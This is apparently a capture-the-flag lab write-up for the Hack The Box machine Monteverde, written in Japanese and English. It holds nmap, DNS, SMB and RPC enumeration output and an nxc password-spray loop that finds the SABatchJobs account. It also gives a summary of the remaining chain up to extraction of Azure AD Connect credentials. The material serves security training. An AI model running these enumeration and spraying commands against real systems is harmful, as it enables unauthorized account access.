Monteverde¶
Flag-Critical Knowledge¶
トリガー、攻撃パターン¶
attack summary¶
Null session user enum
→ password spray username=username
→ SABatchJobs
→ read users$/mhope/azure.xml
→ mhope credentials
→ WinRM as mhope
→ Azure AD Connect credential extraction
→ Administrator password
→ root flag
walkthrough¶
10.129.228.111 monteverde.MEGABANK.LOCAL
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-17 08:23 JST
Nmap scan report for 10.129.228.111
Host is up (0.090s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-16 23:23:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -13s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-07-16T23:24:15
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.28 seconds
[!!!] Domain Controller found on 10.129.228.111
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-17 08:25 JST
Nmap scan report for 10.129.228.111
Host is up (0.090s latency).
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD:
| _services
| _dns-sd
| _udp
| local
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-16 23:25:02Z)
123/udp open ntp NTP v3
| ntp-info:
|_
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.95%I=7%D=7/17%Time=6A59686A%P=aarch64-unknown-linux-gnu%
SF:r(DNS-SD,2E,"\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_u
SF:dp\x05local\0\0\x0c\0\x01")%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\
SF:0\0\0\x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -10s
ntp列挙
123/udp open ntp NTP v3
⇒列挙なし
dns列挙
53/udp open domain (generic dns response: SERVFAIL)
53/tcp open domain Simple DNS Plus
dig @10.129.228.111 MEGABANK.LOCAL any
dig axfr @10.129.228.111 MEGABANK.LOCAL
dnsrecon -d MEGABANK.LOCAL -n 10.129.228.111
┌──(kali@kali)-[~]
└─$ dig @10.129.228.111 MEGABANK.LOCAL any
; <<>> DiG 9.20.9-1-Debian <<>> @10.129.228.111 MEGABANK.LOCAL any
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8263
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 4
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;MEGABANK.LOCAL. IN ANY
;; ANSWER SECTION:
MEGABANK.LOCAL. 600 IN A 10.129.228.111
MEGABANK.LOCAL. 3600 IN NS monteverde.MEGABANK.LOCAL.
MEGABANK.LOCAL. 3600 IN SOA monteverde.MEGABANK.LOCAL. hostmaster.MEGABANK.LOCAL. 74 900 600 86400 3600
MEGABANK.LOCAL. 600 IN AAAA dead:beef::129
MEGABANK.LOCAL. 600 IN AAAA dead:beef::a9d1:d7c:7ac7:e09a
;; ADDITIONAL SECTION:
monteverde.MEGABANK.LOCAL. 1200 IN A 10.129.228.111
monteverde.MEGABANK.LOCAL. 1200 IN AAAA dead:beef::a9d1:d7c:7ac7:e09a
monteverde.MEGABANK.LOCAL. 1200 IN AAAA dead:beef::129
;; Query time: 87 msec
;; SERVER: 10.129.228.111#53(10.129.228.111) (TCP)
;; WHEN: Sun Jul 19 20:46:29 JST 2026
;; MSG SIZE rcvd: 259
┌──(kali@kali)-[~]
└─$
┌──(kali@kali)-[~]
└─$ dig axfr @10.129.228.111 MEGABANK.LOCAL
; <<>> DiG 9.20.9-1-Debian <<>> axfr @10.129.228.111 MEGABANK.LOCAL
; (1 server found)
;; global options: +cmd
; Transfer failed.
┌──(kali@kali)-[~]
└─$ dnsrecon -d MEGABANK.LOCAL -n 10.129.228.111
[*] std: Performing General Enumeration against: MEGABANK.LOCAL...
[-] DNSSEC is not configured for MEGABANK.LOCAL
[*] SOA monteverde.MEGABANK.LOCAL 10.129.228.111
[*] SOA monteverde.MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a
[*] SOA monteverde.MEGABANK.LOCAL dead:beef::129
[*] NS monteverde.MEGABANK.LOCAL 10.129.228.111
[*] NS monteverde.MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a
[*] NS monteverde.MEGABANK.LOCAL dead:beef::129
[*] A MEGABANK.LOCAL 10.129.228.111
[*] AAAA MEGABANK.LOCAL dead:beef::129
[*] AAAA MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a
[*] Enumerating SRV Records
[+] SRV _gc._tcp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL 10.129.228.111 3268
[+] SRV _gc._tcp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::129 3268
[+] SRV _gc._tcp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a 3268
[+] SRV _kerberos._udp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL 10.129.228.111 88
[+] SRV _kerberos._udp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a 88
[+] SRV _kerberos._udp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::129 88
[+] SRV _kerberos._tcp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL 10.129.228.111 88
[+] SRV _kerberos._tcp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a 88
[+] SRV _kerberos._tcp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::129 88
[+] SRV _ldap._tcp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL 10.129.228.111 389
[+] SRV _ldap._tcp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::129 389
[+] SRV _ldap._tcp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a 389
[+] SRV _ldap._tcp.dc._msdcs.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL 10.129.228.111 389
[+] SRV _ldap._tcp.dc._msdcs.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a 389
[+] SRV _ldap._tcp.dc._msdcs.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::129 389
[+] SRV _ldap._tcp.pdc._msdcs.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL 10.129.228.111 389
[+] SRV _ldap._tcp.pdc._msdcs.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a 389
[+] SRV _ldap._tcp.pdc._msdcs.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::129 389
[+] SRV _ldap._tcp.ForestDNSZones.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL 10.129.228.111 389
[+] SRV _ldap._tcp.ForestDNSZones.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::129 389
[+] SRV _ldap._tcp.ForestDNSZones.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a 389
[+] SRV _kpasswd._tcp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL 10.129.228.111 464
[+] SRV _kpasswd._tcp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a 464
[+] SRV _kpasswd._tcp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::129 464
[+] SRV _ldap._tcp.gc._msdcs.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL 10.129.228.111 3268
[+] SRV _ldap._tcp.gc._msdcs.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::129 3268
[+] SRV _ldap._tcp.gc._msdcs.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a 3268
[+] SRV _kerberos._tcp.dc._msdcs.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL 10.129.228.111 88
[+] SRV _kerberos._tcp.dc._msdcs.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a 88
[+] SRV _kerberos._tcp.dc._msdcs.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::129 88
[+] SRV _kpasswd._udp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL 10.129.228.111 464
[+] SRV _kpasswd._udp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::129 464
[+] SRV _kpasswd._udp.MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL dead:beef::a9d1:d7c:7ac7:e09a 464
[+] 33 Records Found
┌──(kali@kali)-[~]
└─$
rpc、smb列挙
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
┌──(kali@kali)-[~]
└─$ nxc smb 10.129.228.111
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
┌──(kali@kali)-[~]
└─$ nxc smb 10.129.228.111 -u '' -p ''
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\:
┌──(kali@kali)-[~]
└─$ nxc smb 10.129.228.111 -u guest -p ''
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\guest: STATUS_ACCOUNT_DISABLED
┌──(kali@kali)-[~]
└─$ smbclient -L //10.129.228.111 -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.228.111 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(kali@kali)-[~]
└─$ rpcclient -U "" -N 10.129.228.111
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
rpcclient $> querydispinfo
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null)
rpcclient $> exit
┌──(kali@kali)-[~]
└─$ enum4linux-ng 10.129.228.111
ENUM4LINUX - next generation (v1.3.7)
==========================
| Target Information |
==========================
[*] Target ........... 10.129.228.111
[*] Username ......... ''
[*] Random Username .. 'nvvaxlva'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
=======================================
| Listener Scan on 10.129.228.111 |
=======================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
======================================================
| Domain Information via LDAP for 10.129.228.111 |
======================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: MEGABANK.LOCAL
=============================================================
| NetBIOS Names and Workgroup/Domain for 10.129.228.111 |
=============================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
===========================================
| SMB Dialect Check on 10.129.228.111 |
===========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.0.2: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
=============================================================
| Domain Information via SMB session for 10.129.228.111 |
=============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: MONTEVERDE
NetBIOS domain name: MEGABANK
DNS domain: MEGABANK.LOCAL
FQDN: MONTEVERDE.MEGABANK.LOCAL
Derived membership: domain member
Derived domain: MEGABANK
===========================================
| RPC Session Check on 10.129.228.111 |
===========================================
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE
=====================================================
| Domain Information via RPC for 10.129.228.111 |
=====================================================
[+] Domain: MEGABANK
[+] Domain SID: S-1-5-21-391775091-850290835-3566037492
[+] Membership: domain member
=================================================
| OS Information via RPC for 10.129.228.111 |
=================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '1809'
OS build: '17763'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null
=======================================
| Users via RPC on 10.129.228.111 |
=======================================
[*] Enumerating users via 'querydispinfo'
[+] Found 10 user(s) via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 10 user(s) via 'enumdomusers'
[+] After merging user results we have 10 user(s) total:
'1104':
username: AAD_987d7f2f57d2
name: AAD_987d7f2f57d2
acb: '0x00000210'
description: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
'1601':
username: mhope
name: Mike Hope
acb: '0x00000210'
description: (null)
'2602':
username: SABatchJobs
name: SABatchJobs
acb: '0x00000210'
description: (null)
'2603':
username: svc-ata
name: svc-ata
acb: '0x00000210'
description: (null)
'2604':
username: svc-bexec
name: svc-bexec
acb: '0x00000210'
description: (null)
'2605':
username: svc-netapp
name: svc-netapp
acb: '0x00000210'
description: (null)
'2613':
username: dgalanos
name: Dimitris Galanos
acb: '0x00000210'
description: (null)
'2614':
username: roleary
name: Ray O'Leary
acb: '0x00000210'
description: (null)
'2615':
username: smorgan
name: Sally Morgan
acb: '0x00000210'
description: (null)
'501':
username: Guest
name: (null)
acb: '0x00000215'
description: Built-in account for guest access to the computer/domain
========================================
| Groups via RPC on 10.129.228.111 |
========================================
[*] Enumerating local groups
[+] Found 10 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 22 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 16 group(s) via 'enumdomgroups'
[+] After merging groups results we have 48 group(s) total:
'1101':
groupname: DnsAdmins
type: local
'1102':
groupname: DnsUpdateProxy
type: domain
'1103':
groupname: SQLServer2005SQLBrowserUser$MONTEVERDE
type: local
'1105':
groupname: ADSyncAdmins
type: local
'1106':
groupname: ADSyncOperators
type: local
'1107':
groupname: ADSyncBrowse
type: local
'1108':
groupname: ADSyncPasswordSet
type: local
'2601':
groupname: Azure Admins
type: domain
'2606':
groupname: File Server Admins
type: domain
'2607':
groupname: Call Recording Admins
type: domain
'2608':
groupname: Reception
type: domain
'2609':
groupname: Operations
type: domain
'2610':
groupname: Trading
type: domain
'2611':
groupname: HelpDesk
type: domain
'2612':
groupname: Developers
type: domain
'498':
groupname: Enterprise Read-only Domain Controllers
type: domain
'513':
groupname: Domain Users
type: domain
'514':
groupname: Domain Guests
type: domain
'515':
groupname: Domain Computers
type: domain
'517':
groupname: Cert Publishers
type: local
'520':
groupname: Group Policy Creator Owners
type: domain
'522':
groupname: Cloneable Domain Controllers
type: domain
'525':
groupname: Protected Users
type: domain
'545':
groupname: Users
type: builtin
'546':
groupname: Guests
type: builtin
'553':
groupname: RAS and IAS Servers
type: local
'554':
groupname: Pre-Windows 2000 Compatible Access
type: builtin
'555':
groupname: Remote Desktop Users
type: builtin
'556':
groupname: Network Configuration Operators
type: builtin
'557':
groupname: Incoming Forest Trust Builders
type: builtin
'558':
groupname: Performance Monitor Users
type: builtin
'559':
groupname: Performance Log Users
type: builtin
'560':
groupname: Windows Authorization Access Group
type: builtin
'561':
groupname: Terminal Server License Servers
type: builtin
'562':
groupname: Distributed COM Users
type: builtin
'568':
groupname: IIS_IUSRS
type: builtin
'569':
groupname: Cryptographic Operators
type: builtin
'571':
groupname: Allowed RODC Password Replication Group
type: local
'572':
groupname: Denied RODC Password Replication Group
type: local
'573':
groupname: Event Log Readers
type: builtin
'574':
groupname: Certificate Service DCOM Access
type: builtin
'575':
groupname: RDS Remote Access Servers
type: builtin
'576':
groupname: RDS Endpoint Servers
type: builtin
'577':
groupname: RDS Management Servers
type: builtin
'578':
groupname: Hyper-V Administrators
type: builtin
'579':
groupname: Access Control Assistance Operators
type: builtin
'580':
groupname: Remote Management Users
type: builtin
'582':
groupname: Storage Replica Administrators
type: builtin
========================================
| Shares via RPC on 10.129.228.111 |
========================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user
===========================================
| Policies via RPC for 10.129.228.111 |
===========================================
[*] Trying port 445/tcp
[+] Found policy:
Domain password information:
Password history length: 24
Minimum password length: 7
Minimum password age: 1 day 4 minutes
Maximum password age: 41 days 23 hours 53 minutes
Password properties:
- DOMAIN_PASSWORD_COMPLEX: false
- DOMAIN_PASSWORD_NO_ANON_CHANGE: false
- DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
- DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
- DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
- DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
Domain lockout information:
Lockout observation window: 30 minutes
Lockout duration: 30 minutes
Lockout threshold: None
Domain logoff information:
Force logoff time: not set
===========================================
| Printers via RPC for 10.129.228.111 |
===========================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED
Completed after 22.10 seconds
┌──(kali@kali)-[~]
└─$
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
joeパスワードでスプレー
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ for p in smb rdp winrm; do nxc $p 10.129.228.111 -u users.txt -p users.txt --continue-on-success; done
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-ata STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-ata STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:svc-ata STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:svc-ata STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:svc-ata STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:svc-ata STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:svc-ata STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:svc-ata STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-bexec STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-bexec STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:svc-bexec STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:svc-bexec STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:svc-bexec STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:svc-bexec STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:svc-bexec STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:svc-bexec STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-netapp STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-netapp STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:svc-netapp STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:svc-netapp STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:svc-netapp STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:svc-netapp STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:svc-netapp STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:svc-netapp STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:dgalanos STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:dgalanos STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:dgalanos STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:dgalanos STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:dgalanos STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:dgalanos STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:dgalanos STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:dgalanos STATUS_LOGON_FAILURE
